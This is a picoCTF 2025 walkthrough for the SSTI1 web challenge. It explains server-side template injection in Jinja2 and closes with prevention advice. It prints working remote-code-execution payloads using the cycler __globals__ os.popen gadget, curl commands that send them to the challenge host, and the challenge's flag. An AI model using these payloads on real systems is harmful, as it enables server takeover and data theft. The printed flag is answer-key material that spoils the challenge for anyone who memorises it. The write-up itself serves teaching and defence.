Skip to main content

SSTI1 picoCTF 2025 Solution

A web challenge testing a common server-side vulnerability that lets attackers influence how the app renders dynamic content.

Published: April 2, 2025Updated: August 25, 2026

Description

The announcement form renders unescaped Jinja2 templates, so you can access Python globals through the cycler object and execute shell commands.

Web

Load the challenge URL and locate the text field that reflects arbitrary user input.

Submit a harmless template (e.g., {{7*7}}) to confirm server-side template execution.

bash
curl http://rescued-float.picoctf.net:<PORT_FROM_INSTANCE>/
bash
curl -L -X POST -d "content={{7*7}}" http://rescued-float.picoctf.net:<PORT_FROM_INSTANCE>/

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Pop a shell via cycler
    Observation
    The probe {{7*7}} comes back as 49 rather than as text, so Jinja2 is evaluating input on the server. Reach the os module through the cycler gadget chain, which needs no import in the payload.
    Jinja exposes the cycler helper, whose __init__.__globals__ dictionary contains the os module. Calling os.popen lets you run arbitrary commands from a template payload.
    bash
    {{ cycler.__init__.__globals__.os.popen('ls -la').read() }}
    What didn't work first

    Tried: Trying SQL injection or XSS payloads like ' OR 1=1-- or <script>alert(1)</script> in the text field first

    The field does reflect text into the page, but a SQL payload comes back as a literal string and XSS runs only in the victim's browser. Neither gives execution on the server. {{7*7}} returning 49 is the signal that a template engine is evaluating input, which is what makes this SSTI.

    Tried: Using __class__.__mro__ gadget chains (e.g., ''.__class__.__mro__[1].__subclasses__()) instead of cycler

    The MRO subclass chain works in some environments, but it means walking hundreds of subclasses to find something usable, and the index shifts with the Python version and installed packages. The cycler path is shorter and deterministic, and it works as long as os was imported anywhere in the application, which Flask always does.

    Learn more

    Server-Side Template Injection (SSTI) occurs when user input is embedded directly into a template string that is then rendered by a server-side template engine. Unlike reflected XSS (which runs in the victim's browser), SSTI runs on the server with the application's privileges, making it far more dangerous. The canonical test payload is {{7*7}}: if the server responds with 49 instead of the literal string {{7*7}}, template injection is confirmed.

    Jinja2, Flask's default template engine, exposes a global namespace containing Python builtins and context objects. The cycler object (a Jinja2 utility for cycling through values) is always available in the template context. Its __init__ method is a Python function, and all Python functions carry a __globals__ attribute pointing to the module's global namespace. If the os module was imported anywhere in the application, it appears in this dictionary, accessible via template syntax without any import statement in the payload itself.

    SSTI is ranked in the OWASP Top 10 under Injection and has led to complete server compromise in real-world incidents. Affected template engines include Jinja2, Twig (PHP), FreeMarker (Java), Pebble (Java), Velocity (Java), and others. The payload chain differs per engine, which is why identification (what engine is running?) precedes exploitation in a real engagement. Web challenges and real-world bug patterns covers SSTI alongside the other Top-10 classes.

    This payload works here because the SSTI1 endpoint applies no character filter; the underscores, dots, and the literal word cycler all pass through. SSTI2 is the same vulnerability with a keyword blacklist bolted on, which forces the same gadget to be expressed without underscores or the cycler identifier and is why the next challenge feels like a different bug.

  2. Step 2Read the flag file
    Observation
    The listing shows a file named flag in the working directory. Swap the command and read it through the same payload.
    Listing the directory reveals the flag file. Replace the command string with cat flag (or use curl to POST the payload) and the response contains the picoCTF flag.
    bash
    {{ cycler.__init__.__globals__.os.popen('cat flag').read() }}
    bash
    curl -L -X POST -d "content={{ cycler.__init__.__globals__.os.popen('cat flag').read() }}" http://rescued-float.picoctf.net:<PORT_FROM_INSTANCE>/

    Expected output

    picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_ae48...}
    Learn more

    os.popen() opens a pipe to a shell command and returns a file-like object whose .read() method captures standard output. subprocess.run(..., capture_output=True) reaches the same outcome but is the modern, safer interface (explicit argument lists, better error handling, no implicit shell). The two are not interchangeable in production code; popen is the legacy, one-liner-friendly form, while subprocess is what you should reach for in a real codebase. For SSTI specifically, popen is the better tool because it fits inline as a single chained expression with no imports beyond os.

    From a defensive standpoint, the root fix is trivially simple: never pass user input directly to a template renderer. Instead, pass data as template variables using the context dictionary, e.g. render_template('page.html', content=user_input), and reference it as {{ content }} in the template file. Jinja2 automatically HTML-escapes variables rendered this way, preventing both SSTI and XSS. The vulnerability only exists when code uses render_template_string(user_input) or jinja2.Environment().from_string(user_input) directly.

    If template rendering of user content is genuinely required (e.g., a CMS allowing template-like syntax), the mitigation is to use a sandboxed environment: jinja2.sandbox.SandboxedEnvironment() blocks access to private attributes (__init__, __globals__) and disallows calling arbitrary Python functions. Treat this as a speed bump rather than a wall: published sandbox escapes exist for most template engines, attribute filters can be bypassed with |attr() + dynamic strings, and any object exposed to the template that holds a reference to a function carrying __globals__ is potentially a gadget. Sandboxing raises the exploitation bar; it does not eliminate the vulnerability class.

  3. Step 3Optional: script the extraction
    Observation
    The response embeds the flag in the page body rather than returning plain text. Pipe curl through grep for the flag pattern and skip parsing the HTML.
    Pipe the HTML through grep/cut if you want a clean output from the command line.
    bash
    curl -L -X POST -d "content={{ cycler.__init__.__globals__.os.popen('cat flag').read() }}" http://rescued-float.picoctf.net:<PORT_FROM_INSTANCE>/ | grep -E "picoCTF\{.*\}"
    What didn't work first

    Tried: Piping curl output to grep 'picoCTF' without the -E flag or escaping the braces

    Brace handling differs between GNU and BSD grep without extended regex, and the escape syntax varies too. The safer form uses -oE with an escaped brace pattern, which extracts the token rather than the whole line, useful when the flag appears mid-sentence in the HTML.

    Tried: Sending the SSTI payload directly in the URL query string as a GET parameter instead of POST body

    The form uses POST, and the server only evaluates the content parameter from the body. A GET to the same URL returns the form page or a 405. The POST flags in curl are what reach the handler.

    Learn more

    Chaining curl with text processing tools like grep, cut, and sed is a quick way to automate flag extraction without writing a full Python script. The -E flag enables extended regular expressions in grep, and picoCTF\{.*\} matches the flag pattern. This approach works well for one-off extractions but breaks if the flag contains characters that have special regex meaning.

    For more robust automation, pwntools (via from pwn import *) provides HTTP request helpers alongside its binary exploitation capabilities. For web-only challenges, requests (Python) or httpx offer clean APIs for building and sending POST requests, parsing JSON responses, and following redirects, making them ideal for multi-step web exploits that require maintaining session state across requests.

    Scripting the exploit also makes it reproducible: if the challenge instance resets or you want to demonstrate the vulnerability to others, a self-contained script is far more reliable than manual browser interactions. Good CTF habit is to save every working exploit script in your notes alongside the flag.

Interactive tools
  • Reverse Shell GeneratorGenerate reverse shell payloads (bash, nc, python, perl, ruby, php, node, powershell) and matching listeners. Set host and port once, copy any variant.

Flag

Reveal flag

picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_ae48...}

The payload chain works in-browser or via curl; both outputs include the full flag inside the rendered HTML.

Key takeaway

Template injection happens when user input is concatenated into a template string and evaluated rather than treated as inert data. The engine runs on the server with the application's privileges, so this is code execution, not the reflected output of XSS. Any framework exposing a template engine, Jinja2 or Twig or FreeMarker or Velocity, is exposed if input ever reaches the template source, and gadget chaining through the language's object hierarchy carries across them with small payload changes.

How to prevent this

SSTI is a single-line bug. Two patterns kill it for good.

  • Never call render_template_string(user_input) or Environment().from_string(user_input). Pass user data as a variable into a fixed template: render_template("page.html", content=user_input). The renderer escapes it automatically.
  • If the product genuinely needs user-supplied templates (CMS, email builder), use jinja2.sandbox.SandboxedEnvironment() with an explicit attribute allowlist. Sandbox escapes exist; treat the surface as hostile and keep the variable set minimal.
  • Add a static-analysis rule (Semgrep, Bandit, CodeQL) that flags any string-based template entrypoint. SSTI hides in one-line refactors; CI is the only durable defense.

Related reading

Tools used in this challenge

Where to go next